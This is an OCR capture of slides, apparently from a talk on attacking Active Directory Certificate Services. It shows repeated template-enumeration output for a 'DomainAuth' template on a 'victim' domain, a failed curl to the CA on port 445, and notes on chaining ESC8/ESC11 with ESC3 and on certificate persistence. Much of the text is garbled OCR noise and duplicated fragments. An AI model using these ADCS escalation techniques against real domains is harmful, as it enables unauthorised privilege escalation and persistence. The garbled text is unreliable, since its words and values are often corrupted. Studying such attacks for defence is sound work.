LOCAL\Administrator




zp disable -
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or E5fXx

e ADCS1REE! | |
o TFHAtGIZPT B /BREEE A
o (SHMABREERN/REFH
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For EZBX

e ADCSREZ! ! |
o THATEMZPN A /BREEEH A
o (SRFTAEBEER/RIEEAR

o EIZ/RAEEAERELE
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For EZBX

e ADCSIREZE! | |

o TEHRTEIZFIA BEEEA
o (SHFTREEEN/REEAR
o MARIEEAMEPRERE

o SEFEZEERNF "CA certificate manager approval"

DE\/CORE



For EZBX

s ADCSTREZE! ! |
o THATEIZFRA /BEEEAR

o (SRFTAEBEER/RIEEAR

o WRIBEAMEPRERE

o SEFEZEERNF "CA certificate manager approval"
o ‘JReEFADT CA —ESHClEE ? fREE CA

all
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For

e ADCS 1EEE
o THAtEIZPNA

SR

AX

Y[k q=kvi

* FRHFTEREERN

o MR
o 5 /m| [
EZNE

o JEIBEN
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Template Name

Display Name

Certificate Authorities
Enabled

Client Authentication
Enrollment Agent

Any Purpose

Enrollee Supplies Subject
Enrollment Flag

Private Key Flag

Extended Key Usage
Requires Manager Approval
Requires Key Archival

Authorized Signatures Required

Validity Period
Renewal Period
Minimum RSA Key Length
Permissions
Enrollment Permissions

: DomainAuth

: DomainAuth

: victim—-CA@1-CA
: True

: True

: False

: False

: False

: AutoEnrollment
: 16777216

65536
ExportableKey

: Client Authentication
: False

: False

: 0

: 1 year

: 6 weeks

: 2048

Enrollment Rights

Object Control Permissions
Owner
Write Owner Principals

Write Dacl Principals

Write Property Principals

: VICTIM.
VICTIM.
VICTIM.

: VICTIM
: VICTIM.
VICTIM.
VICTIM.
VICTIM.
: VICTIM
VICTIM.
VICTIM.
VICTLM.
: VICTIM.
. LOCAL\Enterprise Admins
VICTIM.
VICTIM.

VICTIM

LOCAL\Domain Admins
LOCAL\Domain Users
LOCAL\Enterprise Admins

. LOCAL\Administrator

LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator

. LOCAL\Domain Admins

LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator
LOCAL\Domain Admins

LOCAL\Domain Users
LOCAL\Administrator




Template Name

Display Name
Certificate Authorities

: DomainAuth
: DomainAuth
: victim—-CAQ1-CA

curl victim-CA@L-CA:445

F::'. ““—%ij?*

curl: (28) Failed to connect to victim-CAQ1-CA port 445 after 75007 ms:

Ally Frurpuse

Enrollee Supplies Subject
Enrollment Flag

Private Key Flag

e ADCS REE
o T HATEZPATA RRE
e SAHFTREEER
o TEIZ/RESEDANE
-%@@E%W%
Reg a4y C

Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Validity Period
Renewal Period
Minimum RSA Key Length
Permissions

Enrollment Permissions

Enrollment Rights

Object Control Permissions
Owner
Write Owner Principals

Write Dacl Principals

DE\/CORE

Write Property Principals

frdaLsc

: False
: AutoEnrollment
: 16777216

65536

ExportableKey

: VICTIM.
VICTIM.
VICTIM.

: VICTIM.
: VICTIM.
VICTIM.
VICTIM.
VICTIM.
: VICTIM.
VICTIM.
VICTIM.
VICT1M.
: VICTIM.
VICTIM.
VICTIM.
VICTIM.

: Client Authentication
: False
: False
: 0

: 1 year
: 6 weeks
: 2048

LOCAL\Domain Admins
LOCAL\Domain Users
LOCAL\Enterprise Admins

LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator
LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator

Couldn't connect to server



e ADCS REE

o /mromp/ANgy CA —

DE\/CORE

$1> curl victim-CAQ1-CA:445
curl: (28) Failed to connect to victim-CAQ1-CA p

Template Name

Display Name
Certificate Authorities

Ally Furl pose

Enrollee Supplies Subject

Enrollment Flag
Private Key Flag

Owner

Write Owner Principals

Write Dacl Principals

Write Property Principals

: DomainAuth
: DomainAuth
: victim—-CAQ1-CA

O

Nrailsc

: False
: AutoEnrollment
: 16777216

65536

AL O

: VICTIM

: VICTIM

VICTIM

rt 445 after 75007 ms:

B K e

. LOCAL\Administrator
: VICTIM.
VICTIM.
VICTIM.
VICTIM.
. LOCAL\Domain Admins
VICTIM.
VICTIM.
VICTIM.
: VICTIM.
. LOCAL\Enterprise Admins
VICTIM.
VICTIM.

LOCAL\Domain Admins
LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator

LOCAL\Enterprise Admins
LOCAL\Domain Users
LOCAL\Administrator
LOCAL\Domain Admins

LOCAL\Domain Users
LOCAL\Administrator

Couldn't connect to server
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For 41 BX

e ADCSREZ ! | |
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For 41 BX

e ADCSREZ ! | |
e 4453 | ESC8 + ESC3 » ESC11 + ESC3 ...
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For 41 BX

e ADCSREZ ! | |
e 4453 | ESC8 + ESC3 » ESC11 + ESC3 ...

e Persistence with certificates &
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